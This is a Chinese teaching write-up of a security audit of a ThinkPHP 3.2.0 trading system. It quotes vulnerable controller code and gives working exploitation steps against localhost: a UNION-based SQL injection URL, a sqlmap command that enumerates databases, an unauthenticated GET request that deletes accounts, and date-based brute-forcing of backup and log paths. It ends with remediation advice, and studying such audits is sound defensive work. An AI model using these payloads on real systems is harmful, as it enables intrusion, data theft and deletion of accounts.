对某交易系统的一次审计
字数 1061 2025-08-29 08:31:48
ThinkPHP交易系统安全审计教学文档
系统概述
审计对象是一个基于ThinkPHP 3.2.0框架开发的交易系统,存在多处严重安全漏洞。
漏洞分析
1. SQL注入漏洞
位置: Application/Home/Controller/NewsController.class.php
漏洞代码:
public function newsid(){
$nid=I('get.nid');
$newsid=M('newsinfo')->where('nid='.$nid)->find();
$this->assign('newsid',$newsid);
$this->display();
}
漏洞原因:
- 使用
I()函数获取输入,默认仅使用htmlspecialchars过滤 - 直接拼接用户输入到SQL查询中
- 未启用其他过滤机制
利用方式:
http://127.0.0.1/index.php/Home/News/newsid.html?nid=8)%20UNION%20ALL%20SELECT%20NULL,CONCAT(0x7,0x4,0x7),NULL,NULL,NULL,NULL--%20test%20---
自动化检测:
python sqlmap.py -u "http://127.0.0.1/index.php/Home/News/newsid.html?nid=8" --dbs
2. 任意账号删除漏洞
位置: Application/Admin/Controller/SuperController.class.php
漏洞代码:
public function sdel() {
$user = D('userinfo');
$uid = I('get.uid');
$result = $user->where('uid='.$uid)->delete();
if($result!==FALSE){
$this->success("成功删除管理员!",U("Super/slist"));
}else{
$this->error('删除失败!');
}
}
漏洞原因:
- 缺少权限验证(
checklogin()函数) - 直接接受用户输入的uid参数进行删除操作
利用方式:
GET /index.php/Admin/Super/sdel/uid/670.html HTTP/1.1
Host: 127.0.0.1
3. 备份文件遍历漏洞
位置: Application/Admin/Controller/SuperController.class.php
漏洞代码:
$filename = APP_PATH.'backup/'.date('Y-m-d_H-i-s').".sql";
$fp = fopen($filename, 'w');
fputs($fp, $mysql);
fclose($fp);
漏洞原因:
- 备份文件名使用可预测的时间格式
- 未设置访问权限控制
利用方式:
- 根据日期格式爆破备份文件路径
- 参考已有POC进行自动化测试
4. 日志信息泄露
位置: Application/Runtime/Logs/
漏洞原因:
- 日志文件使用简单日期命名(如
19_01_25.log) - 日志记录敏感操作信息
- 日志文件可被直接访问
利用方式:
- 直接访问日志文件路径
- 通过日期爆破获取历史日志
安全建议
开发层面
-
SQL注入防护:
- 使用参数化查询或预处理语句
- 对I()函数添加额外过滤规则
- 避免直接拼接用户输入到SQL语句
-
权限控制:
- 所有管理操作必须进行权限验证
- 实现统一的权限检查机制
-
文件安全:
- 敏感文件(日志、备份)应存放在web目录外
- 对备份文件设置随机命名
- 实现访问控制
-
日志管理:
- 敏感信息不应记录在日志中
- 日志文件应设置适当权限
运维层面
- 定期检查并删除不必要的备份文件
- 限制对Runtime目录的访问
- 监控异常访问行为
审计工具推荐
- FileMonitor: 文件监控工具,检测系统文件变化
- MySQLMonitor: 数据库操作监控工具
- sqlmap: SQL注入自动化检测工具
总结
该交易系统存在多处严重安全漏洞,主要问题包括:
- 缺乏有效的输入过滤
- 权限控制不完善
- 敏感信息处理不当
- 日志和备份管理不规范
通过全面修复这些问题,可显著提升系统安全性。